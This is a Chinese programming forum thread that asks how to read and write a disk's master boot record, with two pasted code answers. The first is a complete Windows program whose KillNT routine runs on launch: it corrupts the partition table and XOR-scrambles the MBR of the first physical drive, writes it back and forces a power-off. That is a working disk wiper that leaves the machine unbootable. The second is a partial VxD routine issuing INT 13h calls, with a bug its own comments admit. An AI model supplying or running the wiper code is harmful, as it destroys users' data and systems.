如何操作主引导区(读出和写入)?
解决方案 »
- CScrollView单文本应用程序中打开文件对话框中返回的文件路径是在哪个函数中返回的?
- 利用下面方式添加工具栏,如何进行命令响应
- CPropertySheet属性页如何控制它的显示大小
- 请高手看看这个事务问题
- 消息,事件,参数
- 怎么改变字符大小!在线等!!!
- 大大们!给个答案吧!
- vc怎样实现打印功能??
- 如何快速将数据导入SQL Server数据库?
- 关于变量输出的小问题,望多指教!
- 操作“运行”菜单的问题
- 大家安装VC时都一点错误都没出吗?出没出现像http://www.csdn.net/expert/topic/1001/1001895.xml?temp=.7608301这样的情况。
#include <windows.h>
#include <winioctl.h>//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID; ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID); NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}
void WINAPI KillNT()
{ HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i; char *drive = "0";
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive); hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
); if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL); DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL); szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector); if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
} bytes = 512; bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL); if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}
*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
} DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL); CloseHandle(hDevice); wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive); hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
); if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL); DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL); bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL); if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL); HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff); CloseHandle(hDevice); ExitWin();}
void WINAPI OSVer()
{ OSVERSIONINFO osi; osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}}
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{ OSVer();
return 0;
}
CLIENT_STRUCT *pRegs)
{
DWORD dwRetVal = 0,retu;
DWORD *i;
PVMMCB hVM;
DIOC_REGISTERS *lpReg,*lpOutReg;
CLIENT_STRUCT saveregs;
DWORD PageNum;
WORD PageOff;
DWORD Address;
DWORD V86PageNum,MyPage;
WORD seg,offset;
hVM=Get_Cur_VM_Handle();
i=(DWORD *)(lpDIOCParms->lpvOutBuffer);
lpReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvInBuffer);
lpOutReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvOutBuffer);
switch(lpDIOCParms->dwIoControlCode)
{
.
.
.
case 2:
if(lpDIOCParms->cbInBuffer!=sizeof(DIOC_REGISTERS))
return dwRetVal=-1;
//保存当前虚拟机的寄存器状态
_asm push edi
_asm lea edi,saveregs
VMMCall(Save_Client_State);
_asm pop edi
//输入的参数,具体怎么用看INT13的说明吧
_ClientEAX=lpReg->reg_EAX;
_ClientEDX=lpReg->reg_EDX;
_ClientECX=lpReg->reg_ECX;
_ClientEFlags=lpReg->reg_Flags;
/* 以下这一段是编写这个VxD时要考虑的主要问题:把缓冲区的地址映射入虚拟86的地址
区,Win32中用的都是线性地址,先根据它求出页面号,再把缓冲区所在的页映射到虚拟86区
中去,下面程序中有一个Bug,它没有考虑到缓冲区所占页面大于一页时的情形,事实上,缓
冲区可能处在叶面的边界上,而且它的大小可能超过一页,这些都要根据上面参数中给出
的缓冲区大小计算,当时我嫌麻烦,随便应付了一下.用的时候要把这段代码改一下
*/
PageNum=(lpReg->reg_EBX)>>12;
PageOff=(lpReg->reg_EBX)&0xfff;
_asm{
push 0
push 1
push 10
push hVM
push PageNum
}
VMMCall(_LinMapIntoV86);
_asm add esp,14h
_asm mov retu,eax
_asm mov MyPage,edx //返回的页面号在edx寄存器中
if(retu==0) return 3;//这是我自己胡乱选的错误码,你可以自己定成
//其它值
Address=(MyPage<<12)+PageOff;//计算新的线性地址
seg=LOWORD(Address>>4); //把线性地址转化成传统的段:偏
offset=LOWORD(Address-(seg<<4)); //移量的形式
_ClientAltES=seg;//这里一定不能弄错了,在Win32 Ring3程序中用的
//是_ClientES,而虚拟86方式下用的段寄存器则在
//_ClientAltES中,所以要用它
_ClientBX=offset;
//xixi,好戏开始了
VMMCall(Begin_Nest_V86_Exec);//这一句使得系统转入虚拟86方式
_asm mov eax,13h
VMMCall(Exec_Int);//发出int 13h中断调用
//保存返回值
if(lpDIOCParms->cbOutBuffer==sizeof(DIOC_REGISTERS))
{
lpOutReg->reg_Flags=_ClientEFlags;
lpOutReg->reg_EAX=_ClientEAX;
lpOutReg->reg_EBX=_ClientEBX;
lpOutReg->reg_ECX=_ClientECX;
lpOutReg->reg_EDX=_ClientEDX;
}
End_Nest_Exec();//退出虚拟86方式
//轻轻地我走了,正如我轻轻地来,我挥一挥衣袖,不带走一片云彩
_asm push esi
_asm lea esi,saveregs
VMMCall(Restore_Client_State);
_asm pop esi
//这一段取消原来的映射
VMMCall(_GetNulPageHandle);
_asm mov PageNum,eax
_asm{
push 0
push 0
push 1
push 10
push hVM
push PageNum
}
VMMCall(_MapIntoV86);
_asm add esp,18h
//OK
return dwRetVal=0;
}
return dwRetVal;
}我把这两个都copy来了。